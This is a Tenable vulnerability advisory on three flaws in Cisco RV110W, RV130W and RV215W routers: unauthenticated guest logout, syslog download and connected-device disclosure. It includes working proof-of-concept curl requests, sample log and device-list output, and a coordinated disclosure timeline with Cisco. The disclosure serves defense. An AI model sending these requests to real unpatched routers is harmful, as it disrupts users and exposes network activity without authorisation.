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Cisco RV110W, RV130W, and RV215W Routers Multiple Vulnerabilities

Medium

Synopsis

CVE-2019-1897: Guest Network Denial of Service

There is no authentication on guest_logout.cgi. An unauthenticated, remote attacker can leverage this to kick users from the guest network. To achieve this the victim's mac and ip address need to be known (see CVE-2019-1899 below). A proof of concept follows:

curl -vv -d "submit_button=status_guestnet.asp&change_action=&submit_type=&gui_action=&cip=10.0.1.100&cmac=10:08:B1:A0:82:29a" -H "Content-Type: application/x-www-form-urlencoded" -X POST http://10.0.0.1/guest_logout.cgi

CVE-2019-1898: Unauthenticated Access to the Syslog via HTTP

An attacker can download the device's syslog simply by executing the following command:

curl http://10.0.0.1/_syslog.txt

The syslog, normally only accessible after administrator authentication, contains useful information about what features are enabled, DHCP logs, PPTP logs, log in attempts and successes, etc. An attacker can learn what types of devices connect to the router and when. Some redacted examples:

2010-02-27 01:14:30 RV215W daemon.info httpd[477]: Invalid username or password from x.x.x.x.
2016-07-21 21:27:24 RV130W local2.notice pppd[1364]: local  IP address x.x.x.x
2016-07-21 21:27:24 RV130W local2.notice pppd[1364]: remote IP address x.x.x.x
2016-07-21 21:27:24 RV130W local2.notice pppd[1364]: primary   DNS address x.x.x.x
2016-07-21 21:27:24 RV130W local2.notice pppd[1364]: secondary DNS address x.x.x.x
2019-03-01 19:09:40 RV110W kern.info LAN2WLAN: Add entry: hash:32/33, cnt:6/6, index:8, sip:x.x.x.x, dip:x.x.x.x, smac:xx:xx:xx:xx:xx:xx
2019-03-02 05:00:40 RV215W kern.info wl0.0: IEEE 802.11 STA xx:xx:xx:xx:xx:xx associated with BSSID xx:xx:xx:xx:xx:xx
2019-03-04 06:48:17 RV215W daemon.info udhcpd[21385]: received REQUEST from xx:xx:xx:xx:xx:xx
2019-03-04 06:48:17 RV215W daemon.info udhcpd[21385]: sending ACK to x.x.x.x

CVE-2019-1899: Connected Device Information Dislcosure

An unauthenticated, remote attacker can acquire the list of all devices that have connected to the router. An example follows:

curl -d "submit_button=status_guestnet.asp&change_action=&submit_type=&gui_action=&cip=20.0.0.0&cmac=aa:aa:aa:aa:aa:aa" -H "Content-Type: application/x-www-form-urlencoded" --insecure -X POST https://10.0.0.1/guest_logout.cgi | grep datalist | grep new
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   109    0     0  100   109      0    946 --:--:-- --:--:-- --:--:--   947
curl: (52) Empty reply from server
100  7076    0  6967  100   109  19038    297 --:--:-- --:--:-- --:--:-- 19038
var datalist = new Array();
datalist[0] = new AAA('','192.168.50.1','40:B0:76:2A:C2:14','1','0','WAN interface');
datalist[1] = new AAA('ubuntu','10.0.0.102','00:0C:29:15:4C:FC','0','0','Ethernet LAN');
datalist[2] = new AAA('TNS3791L','10.0.0.101','AC:87:A3:31:51:CA','0','0','Ethernet LAN');

Disclosure Timeline

03/04/2019 - Informed Cisco PSIRT.
03/04/2019 - Cisco assigns PSIRT-0456252928.
03/06/2019 - Cisco indicates they are investigating.
03/19/2019 - Tenable asks for an update.
04/03/2019 - Tenable asks for an update.
04/03/2019 - Cisco has nothing to report yet.
04/30/2019 - Tenable asks for an update.
05/02/2019 - Cisco indicates publication in second half of May.
05/14/2019 - Tenable asks if Cisco has a publication date scheduled.
05/16/2019 - Cisco states regression tests are ongoing. Targeting late May.
05/29/2019 - Tenable asks Cisco for an update.
05/31/2019 - Cisco asks for an extension to June 19. Provides CVE assignments and publication URLs.
05/31/2019 - Tenable thanks Cisco and agrees to June 19 disclosure.
05/31/2019 - Cisco acknowledges the June 19 agreement.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2019-29
Credit:
Jacob Baines
CVSSv2 Base / Temporal Score:
5.0 / 4.4
CVSSv2 Vector:
AV:N/AC:L/Au:N/C:P/I:N/A:N
Affected Products:
RV110W before 1.2.2.4
RV130W before 1.0.3.51
RV215W before 1.3.1.4
Risk Factor:
Medium
Additional Keywords:
CSCvo65034
CSCvo65037
CSCvo65038
CSCvo65058
CSCvo65061
CSCvo65062
CSCvo65045
CSCvo65048
CSCvo65050

Advisory Timeline

06/19/2019 - Initial Release

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